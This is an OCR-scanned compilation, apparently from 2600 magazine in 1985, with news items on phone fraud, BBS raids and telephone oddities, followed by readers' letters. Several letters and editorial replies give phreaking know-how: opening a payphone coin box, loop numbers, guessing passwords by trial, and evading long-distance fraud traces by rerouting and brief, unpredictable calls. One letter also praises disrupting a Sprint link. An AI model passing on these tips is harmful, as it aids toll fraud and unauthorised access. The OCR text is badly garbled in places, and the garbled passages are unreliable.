[Of course, il his knowledge of tapping is anything like his
knowledge of satellites...]
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Phone-in Registration For College
Cambine] M Sourony

A 577,600 computer system that allows students to sign up
for courses and alter their schedules using touch-tone
telephones will be tested by 300 Union County College (New
Jersey) students this fall and up to 7,000 students are expected
10 be using the procedure by next spring,

“When the student dials in, each course will have a five-digit
code number.” John Farrell, the college’s dean of computer
services said. “The student will be prompted by a recorded voice
for his identification, so students will have access when they are
admitted, a password that only he will know[!], and then he will
be led by the voice prompt through the procedure.”

The system, purchased from Information Associates of
Rochester and similar to those now being used by airlines for
flight reservations. will inform students if their chosen courses
are [ull and whether similar ones are available, It will also have
the potential to provide many other services for students in the
future, such as helping determine the status of their financial
aid requests or the status of their admission application,

Trouble With 800 “Word Numbers”
The %cw Yiork Tmes

When Hindalene Rosner saw “[-800-LIVE-AID™ flash on
her television screen in the early hours of the worldwide benefit
concert, she had a feeling that things would get busy.

It should be explained that Mrs. Rosner is vice president of
the Life Aid Corporation. And her company's nationwide toll-
free telephone number is 1-800-LIFE-AID.

“Every two seconds,™ Mrs. Rosner said, calls were coming
into headquarers in Scottsdale, Arizona, from viewers who
were moved by the Live Aid concert to pledge money for the
starving and homeless people of Africa.

Callersto Life Aid are told very politelv that “this isa totally
different business” and are given the correct listing—in digits
(1-800-548-3243), not letters.

War Game Addict

Aiwried Prea

A 19 vear-old computer enthusiast who said he was addicted
to a space war game and used stolen credit card numbers 10
charge playing time was placed on probation and ordered to
make restitution after pleading guilty 1o wire fraud. a Federal
official said.

The man, Kenneth Goldin, was placed on three vears of
probation and fined 5500 by Federal Judge Maryanne Trump
Barry.

Hacker Extortionist Caught
200 s Senwe ML Ao

Phineas Phreak, he called himsell as he roamed through
computer bulletin boards. But he was caught by telco security
men, prosccuted under a 1984 Virginia law designed to zap
computer trespassing and sentenced to pay $300 restitution
within six months,

The 14-year-old Phineas became one of the first persons to be
dealt with under the new law after he pleaded “not innocent™—
a plea frequently used in juvenile proceedings to avoid giving
someone a criminal record. The Montgomery County, Md.,
youth broke into a computer bulletin hoard service operated bv

a Vienna, Va., man and transferred part of what was stored
there 10 his own computer. The victim, Allen Knapp, 40, who
runs the Washingion Networks BBS out of his home, said his
clients pay a 310 fee for a password and the opportunity to
exchanpe data with others,

Knapp told The Washington Post that on Jan, 5 the youth
managed to bypass “my normal security safepuards,” transfer
files to his own computer, and erase a substantial portion of
Knapp's files. “He then called my answering machine, stating
what he had done and making certain demands inexchange for
the return of the files in his possession,” Knapp said. According
to Knapp, the youth wanted the access (o obtain files that he
would then exchange with his friends. K napp said he called the
Virginia State Police and the Chesapeake & Potomac
Telephone Co. alter hearing the message,

Pitcairn Island Now On AT&T Net

Morw Yok Daily Sews

Adfter nearly 200 years of peace and solitude, the residents of
Pitcaimn Island in the South Pacific are about to enter the 20th
century.

AT&T Communications Inc.. in its relentless quest to wire
the world, says it has decided to provide international long-
distance service to this two-square-mile island where 53
descendants of Fletcher Christian and the other mutineers of
the HMS Bounty still live,

The AT&T service will allow the islanders to receive and
make callsanywhere in the world, instead of just ringing over to
Tahiti. But theyT have to leamn to talk fast. A three-minute call
to or-from the U.S. will cost $11.83 and $3.36 for each
additional minute,

Calling from the U.S. will be tough. Since all the residents
must use the island’s one telephone, they have already divvied
up the time for making and receiving calls from each country.
They will be accepting calls from the U.S. at 2 pm, 8:30 pm, and
1:15 am.

Private Sector Update

o Seman Seniwe

Last month, we told you about the raids in New Jersey which
involved our official BBS, The Private Sector, as well as the
flurry of headline grabbing that ensued. The sysop of The
Private Sector is confident that he will have his equipment
returmed and charges against him dropped. His lawyer, Arthur
Miller, who was obtained for the sysop through the American
Civil Liberties Union, has not been able to make much progress
on the case. Court proceedings have been postponed at the
request of the prosecution, To dage, the sysop still does not
know the evidence against him, nor of any specific crimes he
may be charged with. It is expected that the prosecution may try
to hold up the equipment and any final actions in this case until
the local elections are aver,

Since the raids, 2600 has heard of several cases where BBS
users have gotten phone calls from federal agents. We havealso
heard of a few other bulletin boards that have been taken down.
If vou know of any such cases, please contact our office at
5167512600,

In addition, since the BBS is not currently available, we have
made arrangements for uploading of lengthy articles at our
office number. They can still be sent by US Mail,
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Computer Elections Examined
b wem Yowk Dimes

A branch of the National Security Agency (NSA) is
investigating whether a computer program that counted more
than one-third of all the votes cast in the United States in 1984 is
vulnerable Lo fraudulent manipulation.

The NSA's principle job is to collect intelligence by
eavesdropping on the electronic communications of the world
and to protect the sensitive communications of the United
States.

The investigation was initiated under a recent Presidential
directive ordering the National Computer Security Center to
improve the security of major computer systems used by
nonmilitary agencics such as the Federal Reserve Board and the
FAA and for such private purposes as banking.

The Computer Security Center was established three vears
ago to improve the security of compulters within the military
services but was recently given the broader mandate. The
annual budgets and numbger of emplovees of the agency and the
center are secrel.

Representative Dan Glickman, chairman of a House Science
and Technology subcommittee that has held hearings on the
role of the center. said he had “serious reservations™ about a
Deflense Department agency becoming invelved in compuler
systems handling sensitive civilian matters like elections.

“The computer systems used by counties to collect and
process voles has nothing to do with national security and lam
really concerned about the National Security Agency’s
involvemnent,”™ he said.

The target of the center's investigation is the vote counting
program of Computer Election Systems, the dominant
company in the manufacture and sale of computer voting
apparatus, In 1984, the company's program and related
equipment was used in more than 1,000 county and local
jurisdictions to collect and count 34.4million of the 93.7 million
votes cast in the US, The center became interested in the
question of the vulnerability of the company’s programs
because of separate pending lawsuits, brought in Indiana, West
Virginia, Marvland and Florida, which have challenged the
election results processed by it.

The Institute for Electrical and Electronic Engineers. the
world’s largest engineering society, has said that the NSA%
involvement could lead 1o a kind of “regulation. restraint and
monitoring™ that might cause a “collision with constitutional
principles of individual privacy and freedom of speech.™

Two Inch Thick Bill

Bucks Couniy Cours 1o

A Columbus businessman said he knew he was in trouble
when his long-distance phone bill came in a box. David Noyes
opened the box to find a 165-page bill from MAX Long
Distance Service. The total: $11.641.73,

“1 quickly perceived that it was an impossibility.” he said.

MAX officials said Noyes was sent a letter telling him not to
pay the bill. A company representative said Noyes'account had
been flagged “possible computer fraud™ and the bill should not
have been sent.

Noyes, however, is not one to let material for a good joke slip
away. He went from door to door in his neighborhood asking
for contributions. No one chipped in.

Navy Calls Dial-a-Porn
Hackeivack Recoed

The Navy in San Diego, stung by purchases of high-priced
spare parts and a theft ring linked to Iran, was in no mood to
laugh off $1 12 worth of phone calls to a “dial-a-porn™ service.

“Nobody here thinks it's humorous,” said Ken Mitchell, a
spokesman for North Island Naval Air Station.

“The minute the phone bill came in. we jumped on it,” he
said.“We called people in. We talked to them. Nobody wanted
to confess, We passed the hat, and the bill was paid.”

Navy Phone Phreaks Nabbed

Aparated Prew

Seven sailors have been fined in Groton, Connecticut and 38
others have been disciplined for their roles in a long-distance
telephone scam at the U.S. Naval Submarine Base, a Navy
spokeswoman said.

The sailors fraudulently used telephone access codes to place
$58.000 worth of calls, said Lt. Cmdr. Cherie A. Beatty, public
affairs officer.

The victim of the scam was US Telecom. a long-distance
telephone service based in Dallas, she said. adding that the
sailors had obtained private code numbers belonging to US
Telecom subscribers.

Phone Booth Captures Man

“ew Jeraes Suar | edper

State Police reported that a motorist identified only as
“anyone but Superman™ was stuck in a telephone booth along
the New Jersey Tumpike for hall an hour when the door
jammed.

The man called the State Police barracks in Newark and
informed them he was “stuck in a booth and running out of
money.” said a trooper who reported 10 the scene.

“He was just standing there looking embarrassed when we
arrived,"the troopersaid. “I didn want to bust up the place, so
I just kicked on the door for awhile and it opened. 1t works fine
now.”

The trooper said the man “appeared to be ina real hurry™and
left before he could find out his name.

Telco Rats On Government
Sem ok Dby Sews

The office of U.S. Auorney Raymond Dearie made a
horrendous blunder in the probe of State Supreme Court
Justice William C. Brennan. Whether Brennan is guilty of
anything. or pure as the driven snow, Dearie’s crowd blew their
act. They exposed their own investigation.

Dearie’s sleuths subpoenaed Brennan's phone records early
this year. They failed 1o obtain a simullaneous court order
directing the phone company to keep the subpoena secret,
which is standard procedure.

In the absence of the court order. the phone company by law
had to advise Brennan his records were subpoenaed. Brennan,
in a masterpicce of understatement. observed that when he
received the notice, *1 fipured they were doing some sort of
investigation, ™
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Columnist Attacks AT&T

Combined News Soarom

Syndicated newspaper columnist Mike Royko said he would
not stop “guerrilla tactics"against AT&T until callers trying to
reach a company office stop ringing him instead.

AT&T publicly apologized yesterday to him by placing a
quarter-page advertisement in the Chicago Tribune reminding
customers to dial 1-800 before the seven-digit number to reach

its consumer products office. Otherwise, the number is the same |

as that of Royko’s Tribune office.

After the phone company suggested he change his number,
the columnist said he adopted guerrilla tactics, including
suggestions that callers throw faulty phones out the window
and teiling callers AT&T would not provide service because
they were ltalian or Polish.

He said he did not expect AT&T to change its number, but
that the company should not expect him to stop his vendetta.

No Dial-it Calls For Feds

Assocaied Prea

Those casual calls to get the time, weather, or hear a recorded
joke are becoming a thing of the past for federal workers.
Telephones in most federal offices in New York and Chicago
have already been blocked electronically from making these
calls, and the process is now underway in Washington.

The price of such calls ranges from 6.9 cents to$1, depending
onwhich service is telephoned. Federal officials figure they can
save $300,000 annually by eliminating these expenses. The
government last year was billed $34 million for calls made
within government agencies in the Washington area and $6
million more for outside calls. The latter included about
$250,000 for weather and time checks and $40,000 for calls to
pre-recorded messages.

Eighty-six percent of the federal telephones inthe area are on
an electronic system that can block certain types of calls.

Dial-it Sex Numbers Argued
Cuventanod Mews Saminces

Senators Jesse Helms, R-N.C., and Jeremiah Denton, R-
Ala., are leading the fight to make it illegal to transmit
“obscene, Jewd, lascivious, filthy or indecent™ material via
telephone or cable television. The bill, introduced by Helms
would make it a federal crime even for a married couple to have
a sexually explicit conversation over the telephone. 1t would be
punishable with a fine of $50,000 and up to two years in jail.
Helms and Denton say children are the unwitting victims of
“pornography™ distributed over the telephone and by cable
television. They hear of the telephone number through friends,
dial it, and are subjected to “gross sexual descriptions of
bestiality, homosexuality, defecation, urination and so on,”
according to a Denton aide.

The bill is vigorously oppesed by the American Civil
Liberties Union, which says it would eliminate most R and PG
rated films from cable television.

Bowing to public pressure, Central Telephone Co. of Nevada
has withdrawn a request to offer dial-it 976 services, thus losing
a possible $500,000-a-year in revenue. The company pulled its
proposal from the state Public Service Commission after 300

Southern Nevadans complained that Las Vegas already suffers
froma “sin city™ image without allowing easily accessible Dial-
a-porn too. The residents identified themselves as church civic
organizations were among those testifying against
implementing the service.

Bell of Pennsylvania is suing to switch off the companies that
program the sex talk on its dial-it services. It asked the Court of
Common Pleas in Philadelphia to rule whether the six
companies that program sex talk on 10 numbers in
Philadelphia and seven in Pittsburgh are disseminating
sexually explicit material to miners.

Bell of Pennsylvania like other phone companies are
essentially powerless to refuse the Dial-it numbers, which begin
with “976™ to anyone who wants to lease them.

In May, Mountain Bell in Phoenix, Arizona, was allowed to
turn off five sex lines after a federal judge ruled that the
messages were obscene and unlawfully available to minors. But
this was later overturned by a Federal judge who ruled that the
state law used was unconstitutional and that it deprived the
companies that supplied the service of its First Amendment
right to free spesch.

Big Deal for Little Town
Unibed Pres: ormisnal '

A dozen miles of cable were laid and the first telephones were
recently installed in 11 homes in two remote towns in Kitsap
County, Washington.

The towns of Toonerville and Dewatto were one mile outside
Pacific Northwest Bell’s service area, so the towns were finally
hooked up by Inland Telephone Co.

Most of the area’s 50 homes still have not signed up for
phones because of the $51 monthly bill for local service.

Springsteen Mama
A omitared Nows fourmn

When tickets went on sale in July for concerts this August, no
one expected this to affect almost all aspects of New Jersey
telephone service. New Jersey Bell officials reported 24 million
more calls than normal, because tickets (o see the Boss were
made available through Teletron. There were many reports of
people waiting for minutes for dial tones; some of them got
busy signals when they tried to call the operator.

One independent company, Murphy Realty, was receiving
more than 50 calls an hour because of the Springsteen concert.
The new branch office was assigned a new phone number which
had been the prior number of a ticket agency. Since these sales
offices were made available 24 hours a day, the calls started
coming in to the home of Lois Roland, the salesperson who had
the office phone diverted to her number.

Meanwhile, New Jersey Bell had to suspend seven of its
employees—including six managerial-level workers for using
company equipment to get through busy circuits to order the
Springsteen tickets. The seven were suspended without pay for
two weeks or less, because they violated Bell's code of business
conduct by using official company equipment for personal use.
The employees used test equipment normally used to check out
the company’s network in order to seize available lines to give
them preferential access to Teletron on the Friday that the
concert tickets were made available.
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Telco Service Spawns Racist Banter
Hudien Dwigaeh

Anyone who wants to know what Hudson County youth are
thinking need only pick up the phone any hour of the day or
night. But what comes out of the receiver may prove
disappointing.

A group-aceess service that the state Board of Public Utilities
recently approved for a six-month trial has been billed by the
phone company as providing an opportunity for youngand old
to share conversation and advice. Instead it has generated the
audioequivalent of graffiti in a public toilet—raunchy, simple-
minded come-ons and jokes. The ten-person conference calls
also have provided an unusual forum for open racial conilict.

“Any [blacks] on this line?"a young female voice asked one
afternoon on the line billed as “Talk Exchange™ “Better get
off—this is a whire line.”

If the current talk on the phone lines is any indication, New
Jersey Bell stands to make a tidy sum from the tnal, at least
until its six months are up.

French Phones Renumbered
The Mew ¥ouk Tomes

French phone service, once notorious for its inefficiency, was
seized by a technological revolution on October 25. A flick of
the switch and—voila!—all 24 million numbers had eight digits
and no area codes.

About 22,000 technicians mobilized for the changeoverat 11
P.M. That was the time of the week, researchers concluded, at
which the French made the fewest telephone calls.

“The world is watching us,” said Louis Mexandeau, minister
for the Post and Telecommunications Authoerity. “It is the
biggest such operation ever conducted.”

The old numbering system, created in 1955 for two million
subscribers, had reached the saturation point, the telephong
authority said. The conversion to eight digits will give the
service about 50 million lines.

In Paris, the new eight-digit numbers are created by
preceding existing numbers with the figure *4." In the
provinces, area codes have been incorporated into existing
numbers.

BB Watching Without Regulation
The New York Timo

The Government's ability to keep track of people has become
much more effective in the last two decades, but “the law has
not kept pace with these changes,” according to a nonpartisan
Congressional research agency.

In a report on electronic surveillance and civil liberties, the
Office of Technology said it had identified 85 separate
computerized record systems used for law-enforcement,
investigative and intelligence purposes, with a total of 288
million records concerning 114 million people.

For security reasons, the Office of Technology did not
request any information from the Central Intelligence Agency
and the National Security Agency, the two Federal agencies
believed to be most heavily engaged in electronic and other
kinds of surveillance on a worldwide basis.

The report said there had been “a virtual revolution in the
technology relevant to electronic surveillance™ in the last 20
years, citing “advances in electronics, semiconductors,
computers, imaging, databases, and related technologies.”

For example, the report said, a helicopter flying at 6,000 feet
can track over a 250-mile radius the radio signals sent by a small

electronic beeper attached to a car.

The Technology Office said that its review of existing statutes
and court opinions found that the law “does not adequately
cover new and emerging electronic surveillance technologies.”

Fawcett Phone Bill Too Big
Mew York Post

Farrah Fawcett has a big phone bill—and it isn't because
she'scalling long distance. A man suspected of stealing thecode
to the actress’ car phone has been charged in a related case.
Michael Shaw of Culver City allegedly stole an unidentified
party's code and billed to them about $13,000 of calls made
from his Mercedes. The victim named in the criminal complaint
was Common Carrier Communications, the Santa Ana,
California company that provided the mobile phone service,
accordingto a deputy District Attomey, who alleged that Shaw
also stole Fawcett's phone code.

Inmates Handle Information Calls
The New York Tumea

The Department of Motor Vchicles has announced that it
will use prison inmates to handle telephone calls for
information from people in the New York City area.
Eventually, as many as 100 inmates from the Bayview prison
for women will be participating. The women are to be paid 50
cents an hour.

No More Redialing?

USA Today

The Federal Communications Commission ruled on
November 4th that automatic redial buttons on telephones
cannot call the same number more than 15 times in a row.

It seems we keep jamming telephone lines during radio
phone-in contests and power blackouts. When Bruce
Springsteen tickets went on sale in Washington in July, the
phone system was garbled for hours. That forced callers to wait
to get through to other numbers.

The FCC blames redial, saying it lets us buzz the same
number hundreds of times with little effort.

The rule also covers computer redials—but it won't affect
existing equipment. The FCC is asking for public comment by
January 10th on regulating computer redials. [Regulated
phreaking, what will they think of next?]

Cityphone Has The Answer
Manhatisn, Ine

It's the ultimate in trivial pursuit. Where can a New Yorker
rent a penguin for a day? Where do you go to have bagels
bronzed?

For 15 years now, operators at Cityphone, a division of the
New York Yellow Pages, have been answering questions
ranging from the ordinary to the outrageous. The New York
Yellow Pages, commonly known as the “Bluebooks™, is the
brainchild of Eugene Gottesman, an entrepreneur who realized
that as the Bell System’s Yellow Pages became too burdensome
for easy use, his Bluebooks could combine neighborhood and
city listings in one lightweight volume. Hestarted Cityphone to
hype Bluebook advertisers, but over the years it has become a
sort of investigative hotline.

“If it exists, we find it,” said an operator. “Sometimes the
search can last for days, even years. We never give up.
Cityphone is open during business hours at 2126750900.




LETTERS

Reader feedback significantly increased during our second year and the let-
ters page was a regular feature for every month except August, which was
devoted primarily to the seizure of our BBS. As in 1984, letters were confined
to a single page and the December page contained responses to the surveys
that had been mailed to all subscribers.
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LETTERS TO US

Dhear 2600:

1 think the guestion you referred to me last September from the Crystal Palace
operator is one of the most widely asked questions these days in light of the LA
case imvolving an operator, Mr. Teimpidis. The answer is hard. The first
amendment protects most communications short of promoting the vielation of
laws by specific actions. Iis application to bulletin boards is complicated by the
uncertain nature of compuler communication. Newspapers are more protected
than radio stations because the traditional theory says that the government can
regulate the airwaves since they are a limited resource and regulation is merely a
side-effect of allocating the resource among competitive users. Will bulletin
boards be treated like radio stations or newspapers? Only time wall well,

Let’s try a different approach. Criminal law generally requires “mens rea™ or
guilty knowledge before someone can be convicted of a crime, The proprietor of
a pornographic bookstore cannot be convicted of possessing obscene books just
because they are in the store, There must be proof that he or she knew the books
were obscene. Likewise (7) an operatorcannot be prosecuted for information on
his/ her board unless there is proof of knowledge of the contents of the message
in question. More than knowledge is required. There usually must be intent to
commit acrime. Ila Metro cede is on vour bulletin board, and you do not know
whether it is valid or not, it seems difficult to provee that vou have the intent to
commit a crime. or to aid and abet someone else to commit a erime. Lest the
reader take this as a guarantee that there will be no prosecution, it is important to
add that most of the elements of most crimes can be established by circumstantial
evidence. This means, in short, that if a jury believes a prasecutor’s argument
that the smoke he/she demonstrated is sufficient to establish that the defendant
causes the fire. 1f the contents of a bulletin board are clearly the effons of people
to steal money, computer time, telecommunication services, eic., it can be
argued that the operator must have seen the messages, knew their intent, and
willfully aided and abetted the perpetrators of at least criminal attempts, if not
CTIMES.

If the lasi two paragraphs seem to contradict each ather, the majesty of the law
in its paradoxical confusion has been made manifest, As every lawyer always
says in conclusion, the information hergin offered is general, and worth about
what the reader has paid for it. Specific questions are best discussed with a
defense attorney. More general information will appear in the first issee of
Conscierce tn Cownprating, which will containa case study of the Teimpidis case.

Jay BloomBecker, Esq.
Director, National Center for Computer Crime Data
Las Angeles
Drear 2600:

My faverite BBS is The Temple of RA at %072486298, The sysop is Mad Jap
and there are a number of boards, including paranormal, main board,
phreakers, game board, and SLIME board. It runs an alterated GRBS and it has
a lot of quality users plusa great sysop. These people discuss a lot of interesting
things.

The GCI Guy
Aluska
Drear Twenty Sic Hundred En: [sic]

Is it something we did or didnt do that might be the reason you haven’t used
Easvlink tately? If so, please ket me know.

Just contact me at {516) 938-5600 (or drop a note in my Easylink mailbox
62661080) and 1 will be mare than happy to answer any questions that you may
have. g

Sincerely,
John Sengelaub
Western Union
Drear John:
Please leave us the hell alone. You people are fools.
Dear 2600:

In response (o your article on fortress fones, | would like to add a piece of info.
| have nedticed a Bell repaie lady opening upa fortress fone to take the change and
bring it back to Ma, When she opened it, she took one key and stuck it on the
right lower side of the fone and wrned it twice clockwise, then inserted another
key at the front, turned that counter-clockwise and pulled out,and voila! She got
the box with change. | hope this can help you out,

Also, at one time. | dialed 09591212 and [ got a ringing. Where is that going™?
Sector 17
Dear Sector:

If it's mever answered at any hour of the day or night, then odds are it’s some
kind of a test number.
Diear 2600:

Have you ever wanted to know what city a phone number is located in? IUs
casy! All you need 1o know is the area code, the desired prefix, and how 1o push
0" on your touchtone® telephone. (You do have touchtone®, dont you?)

Suppose that we find 2139753617 written down in our notes but don’t know
where it’s located. Put on your telco voice, turn down the Pink Floyd, and call
vour friendly local teaspoon { TSPS) operator, When (s)he answers, say, “Name-
place please, 213975, The op will 3-way to a Rate & Routing op in area code
213, who will cheerfully tell you the location in question. In this case, the eleo
clones will iell you *Los Angeles, California ™, which you probably suspected all
along. They will even call you “sir™ Just think—you have tied up two teleo
clones and a landline to Smoggy Southern Californii, Isn’t this phun®

Another thing: some pholks think that loops exist only in the Untied States of
Amnemia, Au contraire, Pierre! Here are some loops in the Great White Norh,
Muontreal to be specific, The arca code is 514 and the pattern is NXX-1194, 1195,
Some prefixes known to be working are 324, 374, 656, 678, 731,733,738, 719,
and 933, 374-1194/ 1195 s rumoured to be a phreak hangost.

A caveat, however: often you will get someone who speaks French. If you
don’t speak French. then,.. call another loop. Keep in mind that these loops are
long distance {unless you happen to live in Maontreal), so dont run up your
phone bill calling them, Dont run up someone else’s phone ball, either (although
evervone knowsthat moral, upstanding 2600 readers never break the law). These
loops are aften busy, so keep trying.

Bob Gamma
Drear 2600:.

Areamy of your readers familiar with the International Day of the Phreak? [ts
am annual event that's been going on for about three years now, with growing
support each time. On the first Saturday after tax day (this year that would be
Saturday, April 20), phone phreaks all over the world “get together™ and do
funny things to phone companies all over the world! Two yvears ago some pholks
knocked out a Sprint satellite link by repeatedly calling the same access number
with the same code from many different cities at once. It was great phuns

Perhaps your readers can suggest ideas for this years “holiday™, Also, does
amyvone know of a similar day for computer hackers? 1 think it takes place inthe
fall. {Phreaks can outdo hackers any day, by the way!)

Father
Dear Father:
This is truly horrible. Do keep us informed., though.
Deear 2600:

I've been staying awake nights lately wondering why whenever someone gives
out a nationwide toll-free number (in an advenisement or a radio show) they
always give out two—one for callers ouside their state, and one for callers
within. Why can't the phone company give them one number for both? 1t might
be cheaper the first way, considering that in-state calls are often discounted
separately from cross-state calls, buteven rich folks like 1BM have a separate 800
number for the in-state calls. You'd think that they would rather pay more o
ane number and confuse their public less. Or would they?

Insomniac
Dear Insom:

1t has to do with tariffs, In some states, things get so ridiculous that the United
Parcel Service has 10 ship packages to another state in order for them 10 be
delivered within the same state! Similar antics are the rule with phones,
especially now after the breakup. Generally, if an 800 exchange ends ina 2, ie.
522,932, it's likely the exchange only works within the state and not nationally.
In oiher words, its been the telcos that have been setting the rules of two
numbers for the same thing. Thats been changing, though. ESS allows
practically arny number to be used as an B0 ndmber regarndless of exchange. This
allows for lots of letter-numbers (SO0DIALITT, 800TELECUE, etc.) and also
allows the same aumbers to be used all over the country, So it should start
Iooking less confusing. Now get some skeep.

As we start our second year of publishing, we can’t help but notice the tremendous amount of
reader response and article submissions we're getting. Our 1985 issues will reflect this and
wind up being more interesting, informative, and diverse. You, too, ¢can be a part of this.

you think you have anything at all to lend to this publication, write or call (our front page

tells you how).
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LETTERS FROM YOU

Dear 26(0:

I recently got a notice in the mail from Mountain Bell, Me
and 4 other guys roomed together in this apartment and one
skipped town after he disconnected his phone. Hedidn't pay his
final bill, so Ma Bell is threatening to have our phones cat off
because of what he did.

The lady at Ma Bell says it's cause this guy left his final billing
address as ours, so as far as Ma Bell's concerned, he still lives
here and pets phone service by using our phones. Can you
believe 1t?!!

Mad as Hell
P.5. We are now having to pay $20 a month extra to keep our
phones connected. People! If you're living with someone and
are going to disconnect vour fone, give Bell a fake final billing
address so this doesn’t happen to you!
Dear Mad:

It would be amusing il someone were to give a large
corporation’s address as their final billing address. Theoreti-
cally, everybody there would get a threat similar to yours,
Realistically, it probably isn't quite that easy. But this 1s
nothing new for telephone companies. We've heard many
similar stories and a good deal of them have to do with college
students. The telephone company gets away with murder when
it comes to dealing with students in dormitories.

Dear 2600:

My alias is The Crazy Man. I run the board called The
Phreak Show. It can be reached at 3039797992, Y our magazine
is a kick in the ass. Keep up the good work!

Dear 2600:

Please help me settle something I've long wondered about.
Do telephone employees get free phone service or discounts on
their phone bill?

sJ
Dear 5J:

From what we've been able to find out, free telephone service
is given to management employees and also to those employees
that have been around for thirty years or longer. Usually there’s
a usage allowance of around $35 which includes service charges
and local calls. Any charges above that allowance get billed to
the employee. Anyone who works for the phene company for
more than six months is entitled to a 50 percent discount. These
rules, though, probably vary greatly throughout the country.
Dear 2600:

I recently purchased a T1-99/4A console. | am having trouble
producing multi-frequency hertz tones in BASIC. Could you
help me?

Another Hacker
Binghamton, NY
Drear 2600:

Asanovice hacker | have a great deal to learn. | have recently
purchased an Apple Cat and am currently using “Joshua™ for
carrier detection and retrieval.

My question is: “What do | do now?”

Is there software or hardware available to hack the
passwords and 1D} numbers or does one just connect and play
musical fingers on the kevboard until you get lucky?

Any assistance would be greatly appreciated!

KC
Scottsdale, AZ
Dear Folks:

There are many many programs out there to do just what you
want to do. Unfortunately, we don't have programs for these
specific computers. But we know many of our readers do. We
hope to receive programs in the future so that we can print
listings. In the meantime, musical fingers is a method that has

proven effective in the past and is still known to work more than
a few times.
Dear 2600:

Tostart out | would like to say thank you. | have been getting
2600 for a vear almost. 1 stopped phreaking about 8 months
ago. At one point inmy life phreaking was very important. Soif
you guys need any info let me know. I will try and get it for you.

Anyways here isa real short story. | was talking with my dad
about a year ago when | got into all this stuff. He told me to be
careful and watch what I was doing. Then he told me about this
new way in which it would make it impossible for someone like
you or me to use another person’s Sprint code. This would be to
make a device that would change the code each and every time
you called the number. Your device would make up half and the
rest would give you the other half of the code.

Do you know about any books or other good sources for
phreaking information? If so, please let me know. 1 am doing a
report for my history class.

Do you have any info on the NSA? Also could you somehow
let me know about boxes? Do you know or have any good
phreaking board numbers? I feel like a fool asking vou for all
this stuff. But for now, you are the only ones who can help me
out.

Also, if you want info on companies like AT&T, ITT, etc,,
just let me know. [ would just send it all but that would be one
hell of a pile.

DB
San Jose, CA
Dear DB:

Almost all of what you're looking for can be found right here
in 2600. We have an article on blue boxes this month and in the
past we've focused on other kinds, We're also constantly
printing titles of reference materials. There’s no reason to feel
like a clown for asking questions. Just think of all the others
who don't. You've actually heard of the NSA! And you don't
seem to think it’s another soccer league, as many do. (We'll have
lots of info about them soon.)

The device you mentioned sounds interesting. But how
would your little device know which numbers to spit out to the
main computer? Also, how would it stop hackers from guessing
a one-time code anyway?

As far as info on other companies, please send it. We getalot
of mail and we read all of it. All of the information we get is
eventually conveyed to our readership, so everybody benefits.
Dear 2600:

How can I make calls to ships at sea? Do they each have their
own phone number? Is there a directory?

James
Dear James:

We went right to the folks at AT&T on this one. Here is their
reply: *The procedure for placing long distance calls to ships on
the high seas are handled in the following manner. [sic] You
first must dial the operator and ask to be connected to the high
seas operator. The only information you have o provide is the
name of the ship and a call letter. The high seas operator then
signals the ship. It sometimes takes hours for the ship to return
the call. When the ship operator reaches the high seas operator,
the call is then connected to the original caller. All calls goingto
ships on the high seas must be placed this way—calls cannot be
directly dialed. There is at this time no printed list indicating
ship 1D numbers or ocean codes.”

As always, 2600 will be more than happy to compile such a
list. Keep in mind, also, that failed attempts at reaching a ship
{real or imagined) dont cost anything but time.



MARCH 1985

THIS MONTH’S LETTERS

For the 2600 reading lst:

The Caralog of Technical Fnformarion, available from Bell Communications
Research is a free source of information re: available technical manuals.

LERG Book. Good, but *!™ expensive (wouldn't want all the fone phreaks 1o
get it...). Beter to get through trashing.

Animal

Joel A E., A History of Engineering and Science in The Bell Svstem: Switching
Technology (1925-1975), Bell Laboratories, 1982,

Hamsher, Donrald H.. Communication Svstem Engineering Handbook
McGraw Hill Book Company, 1967,

Both were 621.3511 on the Dewey Decimal System. The Bell book mentions
that there are other books in the series. The Communications Systems one says it is
updated periodically, so it may have a more current edition. The Hardbook says it
also has “The Lineman’s Handbook™ by Kurtz in the same series. Both are
extremely good and bear looking nto. Tons of techmical {almost too) data. Much
beetter than thess “what's the phone company doing with my call™ books littering
the kiddie sections of the library. [ suppose a college library would be an even
better place to look, especially one for a college with a good electrical engineering
program.,

lalso found a great nine page, small print article on blue boxing and phreaking
history in the June 1983 Esguire on page 376, Originally published in October
1971, it provides an excellent background on the state of phreaking in the sixties,
with interviews of “Al Gilbertson,” Fraser Lucey, Joe Engressia, and Captain
Crunch.

The Shadow
Drear 2600

I have one question about phone companies. When using Sprint to call long
distance, how can you tell if the company traces? Dioes Metrophone trace” What
aboul Allnet?

Also, [dialed a few numbers in Columbus, Ohio. When the other side answered,
| received some very sirange noises...really strange. Please reply.

Kazmmatic
Drear 2600:

Exactly what can the LD services do if they catch you using their systems
illegally? | have heard they can take your whole system and sell it to pay them back.
This sounds a litle unreal to me. What if the svstem isnt yours?

‘What is the criminal term given for phreaking if you are just using the LIS 1o
callupa BBS and not a Dal» compater? |s it ealled thelt by wire fraud? Hopefully
youL ean answer these questions,

GR
Laws vary from state ro state and also when crossing stare lines. If, say, vou call a
long distance service using a local access number and commii fravd, they can ges
vou on a federal law with the logic that ihe computer you defravded is in another
state, event though vow didn 't acusaily call thar other stare direcedy. In most cases,
wire fraued 15 what they hit yowwith, Some states, fike Califormia, are more severe.
T Alaska, i o5 iflegal to "deceive @ machine”. With regards to long distance
comparies, we asstme that they A LL trace—we suggest vouassume the same. We
o know wher i s move likely: when using a 950 number, when making lengchy
calls on the same cade fram the same number ar the same rime of day, when
everyone in the world seems to know about i, etc, A good phreak can make traces
complerely useless by rerouting, being unprediciable, and briel when possible.
Noises are not really a clue to o trace, These companies have been arourtd long
evough to figuee owt how to do silent traces—rnotses are probably just poor
corueciions or faully equipsnent, Keep in mriad that ity also o ot easier (and
cheaper) for the companies to simply lsten w10 an llegal call arrd wait for
revealing iformation o be dropped. We doubr, thowgh, that this would hold up
well in cours. The companies don't really care WHO vou call bt they are
inverested i link g as sy people together as possible, They may intimidate the
called party inte revealing the nare of the person who called at a certain time. even
shough there s not a thing they can do 1o them i they don't walk (that iz a very
importand fact ). {f necessary, they can fake eguipmens, if they can prove that i was
wsed 1o comenir frawd—iv doesnt marter who it belongs 1o, And they can find o
way tokeep i i vou can t pay them back for “services rendered”. When plaving the
fomg distance game, securiny sa muast, The consequences are just (oo unpleasani.
Dear 2600:

Mike Salerno’s article, “Getting in the Back Door,™ was well writien and
informative except for the pan on UNIX,

It seems that the author has a basic “feel™ for UNIX vet he probably only has had
EXPEMENCE ON ONE OF IWO SYSIems,

While UNIX may be “simple” compared to other operating systems such as the
